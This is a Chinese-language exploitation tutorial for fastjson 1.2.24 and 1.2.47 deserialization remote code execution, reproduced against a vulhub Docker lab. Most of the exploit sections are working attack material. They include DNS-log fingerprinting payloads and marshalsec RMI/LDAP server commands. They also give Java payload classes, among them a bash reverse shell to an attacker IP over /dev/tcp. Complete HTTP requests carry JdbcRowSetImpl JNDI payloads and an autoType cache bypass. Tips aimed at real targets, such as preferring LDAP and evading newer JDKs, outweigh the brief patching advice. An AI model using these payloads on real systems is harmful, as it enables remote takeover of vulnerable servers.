文章目录

一、fastjson 1.2.24反序列化漏洞
1.1 漏洞简介
1.1.1 漏洞阐述
FastJson是alibaba开源的一款开源的高性能的JSON库,用于将java对象转换为json形式,也可以用来将json转换为java对象,很多公司都在使用,于2017年4月18号爆出存在此漏洞。
- https://github.com/alibaba/fastjson
1.1.2 影响版本
- FastJson < 1.2.24
1.1.3 漏洞原理
fastjson在解析json过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl中有一个私有属性 _bytecodes,其部分方法会执行这个值中包含的Java字节码。
1.1.4 指纹特征
A. 有回显
通过构造错误的POST请求体,服务器返回报错中查看是否存在fastjson字样
正常请求如下,是get的请求且没有请求体,我们通过构造错误的POST请求即可查看返回包中有解析失败,fastjson字样:
B. 无回显
(方法一:通过DOS延迟方式)
fastjson在版本<1.2.60在取不到值的时候会填充\u001a,发生DOS,我们可以构造请求,通过响应延迟来判断是否使用的fastjson
》》无构造的正常请求返回时间,28ms(这里Fiddler演示,Burp可以通过Repeater模块右下方观察)
》》构造错误的POST请求体返回时间,15ms(可见随意的错误请求不奏效)
》》通过 {“a”:"\x 触发DOS,585ms,和正常的和错误的请求响应时间差太多,由此来判断使用了fastjson解析器
(方法二:通过DNS回显方式)
通过DNS回显的方式检测后端是否使用的fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
C. 小技巧
如何判断使用的Fastjson还是Jackson?
Jackson相对比较严格,强制key和javabean属性对齐,只能少不能多key
》》fastjson多key不会报错,我们可以多构造一个,因此大概率判断为fastjson(没有其它json解析库的情况下)
1.1.5 限制条件
要想使用Templateslmpl的_bytecodes属性执行任意命令,条件:
- 站点使用fastjson库解析json
- 解析时设置了Feature.SupoortNonPublicField(否则不支持传入私有属性)
- 目标jdk中存在Templateslmpl类(不排除其它不需要Templateslmpl的利用方法)
1.2 环境搭建
- 受害者IP:192.168.159.129(vulhub、docker)
- 攻击者IP:192.168.123.192(marshalsec、nc、web服务)
》》在如下目录下启动靶机
》》拉起靶机环境
》》查看端口服务
》》浏览器访问目的地址(如下搭建成功)
1.3 漏洞利用
1.3.1 利用准备
A. RMI/LDAP服务器准备
Tips:实战环境中建议使用LDAP协议
》》下载marshalsec项目
git clone https://github.com/mbechler/marshalsec.git
》》安装配置mvn(略)
》》进入marshalsec目录,使用mvn编译msrshalsec的jar包
(编译完成)
(编译完成生成的文件)
B. POC/EXP编译构造
》》IDEA中新建一个项目
》》选择java项目
》》点击下一步
》》创建项目名称和位置
》》项目目录下创建一个文件夹,命名src
》》src目录下新建一个java文件(根据exp操作命名,这里是TouchFile[目的是目标主机上创建一个文件])
》》TouchFile类如下:(commands中存放执行的命令)
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
(编译生成class文件,方法一)
》》使用javac将java文件编译成class文件
(编译生成class文件,方法二)
》》项目目录下再次创建output目录(存放编译生成的class文件)
》》设置编译路径
》》运行编译TouchFile文件
》》便会在output中生成class文件
C Web服务器准备
》》启动一个web服务,将恶意的class文件放入站点的主目录(www目录,这里使用的phpstudy创建的web服务)
1.3.2 漏洞利用一(执行命令)
》》打开命令行窗口:使用marshalsec项目,启动一个RMI服务器,监听9999端口并定制加载远程类)
Tips:实战环境中建议使用LDAP协议
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.123.192/#Exploit" 9999
(已经开始监听9999端口)
注意上边的#
- 攻击请求包构造 / 发送攻击载荷(方式一)
》》抓取GET请求数据包,将GET请求通过Fiddler(其它抓包工具也可以)改为POST请求,并在请求体中添加如下json数据,dataSourceName的值中指定rmi服务器的地址
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.123.192:9999/TouchFile",
"autoCommit":true
}
}
(HTTP状态码返回 500)
Tips:
如果没成功可以尝试在请求头中指定MIME类型为json:
Content-Type: application/json
流量攻击流程:
请求数据包将请求体中的json数据传给受害服务器,受害服务器会将请求重定向到攻击者的RMI服务器,RMI服务器从监听的9999端口中加载远程类TouchFile并重定向到web服务器,fastjson将下载TouchFile,解析运行。
- 攻击请求包构造 / 发送攻击载荷(方式二)
》》直接向服务器发送构造的如下数据
POST / HTTP/1.1
Host: 192.168.159.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.123.192:9999/TouchFile",
"autoCommit":true
}
}
Tips:注意修改上边的HOST地址和rmi地址
》》可以看到RMI服务器成功传值到受害者服务器
》》成功在受害者服务器中执行命令
1.3.3 漏洞利用二(反弹shell)
》》编译生成的class java文件的类如下(exec中为反弹连接的shell地址):
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.123.192/19111 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
Tips:这里反弹shell的端口尽量不要指定8888、8080等常用web端口
》》将编译生成的Exploit.class文件放入web服务器主目录
》》事先准备好两个命令行窗口
》》窗口一:nc监听19111端口
》》窗口二:启动RMI服务监听9999端口
》》构造并发送数据包到目标服务器
POST / HTTP/1.1
Host: 192.168.159.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.123.192:9999/Exploit",
"autoCommit":true
}
}
》》成功接到shell
1.4 防御建议
- 将fastjson升级到最新版本
- 升级JDK版本到 11.0.1 / 6u211 / 7u201 / 8u191
官方补丁中将loadClass替换为了config.checkAutoType(typeName),并且扩充了黑名单列表,将传入的类名和黑名单中一一比较,如果发现了相同的开头就停止反序列化。
二、fastjson 1.2.47反序列化漏洞
2.1 漏洞简介
fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type"指定反序列化的类型。其次,fastjson自定义的反序列化机制时会调用指定类中的setter方法和部分getter方法。因此,当组件开启了autotype功能并且反序列化不可信数据时,便可构造恶意序列化的数据,使代码执行流程进入特定类的特定setter或者getter方法中,如果指定类的指定方法中有可以被利用的逻辑(通常说的“Gadget”)则会造成安全问题。fastjson 1.2.47以下版本中,利用缓存机制可以对未开启autotype功能绕过。
2.2 影响版本
- fastjson < 1.2.47
2.3 环境搭建
攻击者:192.168.1.101(win10)
受害者:192.168.159.129(vulhub、docker)
》》进入环境目录,docker拉起环境
》》浏览器访问目标端口
2.4 攻击过程
》》启动一个web服务器,将编译的class类文件放入主目录下(TouchFile.class)
》》marshalsec启动一个RMI/LDAP服务,监听9999端口,并加载远程类TouchFile
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.101/#TouchFile" 9999
》》向目标服务器发送构造的攻击载荷
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.101:9999/TouchFile",
"autoCommit":true
}
}
》》成功执行命令
三、注意事项
- 尽量使用和目标服务器相同的jdk版本
- 攻击者环境:Java 8u201
- 受害者环境:Java 8u102
-
当运行RMI的服务器Java版本过高会无法运行RMI服务,虽然显示在监听,但是fastjson的 JNDI会报错,显示无法获取到资源。
-
优先使用LDAP协议
实战中优先使用LDAP协议进行漏洞利用,原因是:
RMI协议利用方式在JDK 6u132 / 7u122 / 8u113及以上版本中已修复
LDAP协议利用方式在JDK 6u211 / 7u201 / 8u191及以上版本中已修复
且LDAP可以直接返回序列化对象,绕过对方使用的更高版本的JDK限制。
(RMI和LDAP两种服务协议启动方式)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.1.101/#TouchFile” <port>
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://IP/#Exploit” <port> -
高版本JDK绕过方法
https://www.freebuf.com/column/207439.html
参考文章:
https://blog.csdn.net/w1590191166/article/details/105016535
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
https://cloud.tencent.com/developer/article/1553664